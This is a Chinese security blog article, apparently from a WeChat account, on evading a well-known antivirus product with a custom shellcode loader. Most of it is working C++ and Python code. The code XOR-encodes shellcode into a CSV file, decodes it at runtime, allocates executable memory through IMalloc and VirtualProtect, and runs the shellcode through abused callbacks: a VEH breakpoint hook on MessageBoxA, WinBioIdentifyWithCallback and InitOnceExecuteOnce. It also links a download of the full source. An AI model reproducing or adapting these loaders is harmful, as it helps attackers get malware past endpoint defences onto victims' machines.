Skip to content

Latest commit

 

History

History
296 lines (169 loc) · 8.11 KB

[星冥安全]-2023-6-28-免杀绕某数字杀软.md

File metadata and controls

296 lines (169 loc) · 8.11 KB

免杀绕某数字杀软

星冥安全 星冥安全

星冥安全

微信号 xingmingsec

功能介绍 星冥安全,专注于分享红蓝对抗、内网渗透、web安全、数据安全、云安全、应急响应、信息安全、网络安全攻防对抗知识。关注了解更多安全知识,感兴趣的可加入知识星球(星冥安全)!


__发表于

收录于合集 #免杀 3个

先上效果图

1.veh异常(基于软件断点)hook

主要流程如下:
1.注册一个veh异常回调
2.确定一个api
3.把api的第一个字节改成cc
4.调用api触发异常

首先是获取一个api地址,这里我选择的是MessageboxA

DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA");  
ULONG_PTR paddr = (ULONG_PTR)addr;  

然后把第一个字节更改为可读可写

DWORD old = 0;  
VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old);  

随后把第一个字节改为cc

*(UCHAR*)addr = 0xCC;  

随后注册个异常回调

LONG Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) {  
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {  
    //这里判断是不是因为断点触发异常进来的  
        if ((ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress == paddr) {  
                //这里判断异常地址是不是我们的Messagebox的地址  
                //随后就可以在这里面随意发挥了  
                std::cout << 1;//这里我打印一个1  
                exit(1);  
                }  
    }  
}  
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);  

最后调用我们的Messageboxa
MessageBoxA(0, "abc", 0, 0);

可以看到成功打印出来了1,后面的代码我们也就要写在这里面了

2.读取csv文件

这里我用python把shellcode异或后写入csv文件,c++读取也是比较简单,毕竟csv文件格式就是:“数据1,数据2”这样而已,只是用一个逗号隔开

Python加密源码:

import csv  
buf=b"。。。。。"  
sc=[]  
for i in buf:  
    sc.append((i^1024)+1000)  
  
with open("shc.csv","w",newline="",encoding="utf-8") as f:  
    write=csv.writer(f)  
    write.writerow(sc)  

会生成一个shc.csv文件,结果如下


并且csv文件vt全过

c++读取csv文件,并且解密shellcode

ifstream inFile("shc.csv", ios::in);  
string linstr;  
vector<vector<string>> strArray;  
while (getline(inFile, linstr)) {  
    stringstream ss(linstr);  
    string str;  
    vector<string> linearray;  
    while (getline(ss, str, ',')) {  
        linearray.push_back(str);  
    }  
    strArray.push_back(linearray);  
}  
char buuf[2000];//解密后的shellcode存在buuf这里  
int i = 0;  
for (auto s : strArray) {  
    for (auto x : s) {  
        char* strb = &x[0];  
        char strchar = (char)((atoi(strb) - 1000) ^ 1024);  
        buuf[i] = strchar;  
        i += 1;  
    }  
}  

3.申请内存和加载shellcode

这里我们用IMalloc接口来申请,使用如下

DWORD old;  
IMalloc* PIMalloc = NULL;  
  
CoGetMalloc(MEMCTX_TASK, &PIMalloc);  
void* buu = PIMalloc->Alloc(sizeof(buuf));//分配内存  
  
RtlCopyMemory(buu, buuf, sizeof(buuf));  
ZeroMemory(buuf, sizeof(buuf));  
  
VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old);  

IMalloc还具有其他一些方法,如下

IMalloc* PIMalloc = NULL;  
CoGetMalloc(MEMCTX_TASK, &PIMalloc);  
void* p = PIMalloc->Alloc(10);//分配内存  
PIMalloc->Free(p);//释放内存  
PIMalloc->Realloc(p,20);//更改以前分配的内存块的大小  

具体的请师傅们去这里https://learn.microsoft.com/zh-cn/windows/win32/api/objidlbase/nn- objidlbase-imalloc

加载shellcode
这里使用WinBioIdentifyWithCallback设置回调函数来执行我们的shellcode
这几个api具体是干什么的其实师傅们不需要去理解(其实我也不知道是干啥的),师傅们只需要知道使用WinBioIdentifyWithCallback设置回调函数然后WinBioCancel触发回调函数执行我们的shellcode即可,至于其他的参数跟着文档填即可
https://learn.microsoft.com/zh-cn/windows/win32/api/winbio/nf-winbio- winbioidentifywithcallback

WINBIO_SESSION_HANDLE session_handle;  
  
WinBioOpenSession(WINBIO_TYPE_FINGERPRINT, WINBIO_POOL_SYSTEM, WINBIO_FLAG_DEFAULT, NULL, 0,WINBIO_DB_DEFAULT, &session_handle);  
  
WinBioIdentifyWithCallback(session_handle, (PWINBIO_IDENTIFY_CALLBACK)buu, NULL);  
  
WinBioCancel(session_handle);  
WinBioWait(session_handle);   
WinBioCloseSession(session_handle);  

至此代码也就写完了,效果图在最上面,感觉还是挺不错的,哈哈

4.结尾

这里在说个加载shellcode的方法

1.AddVectoredExceptionHandler也可以用来加载shellcode
如下:

unsigned char buf[]="......";  
  
DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA");  
  
DWORD old = 0;  
VirtualProtect(&buf, 1, PAGE_EXECUTE_READWRITE, &old);  
VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old);  
  
*(UCHAR*)addr = 0xCC;  
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)&buf);  
MessageBoxA(0, "abc", "abc", 0);  

2.InitOnceExecuteOnce
利用这个api的第二个参数
文档https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi- initonceexecuteonce
使用如下

unsigned char buf[]=".....";  
  
DWORD old;  
IMalloc* PIMalloc = NULL;  
CoGetMalloc(MEMCTX_TASK, &PIMalloc);  
void* buu = PIMalloc->Alloc(sizeof(buf));  
  
RtlCopyMemory(buu, buf, sizeof(buf));  
VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old);  
  
INIT_ONCE initonce;  
LPVOID Context = NULL;  
InitOnceExecuteOnce(&initonce, (PINIT_ONCE_FN)buu, 0, &Context);  

最后
源代码我传在了阿里云,链接
scPass
https://www.aliyundrive.com/s/Tf3chWByXKp
提取码: 6h2f
点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载极速在线查看,视频原画倍速播放。

注意!!使用时shc.csv文件需和exe文件在同一目录!!
文章可能有错的地方,希望师傅们能提出来!


转载:https://forum.butian.net/share/2065作者:旺崽欢迎大家去关注作者

欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群

如果想和我一起讨论,欢迎加入我的知识星球!!!

扫描下图加入freebuf知识大陆

师傅们点赞、转发、在看就是最大的支持

**
**

后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看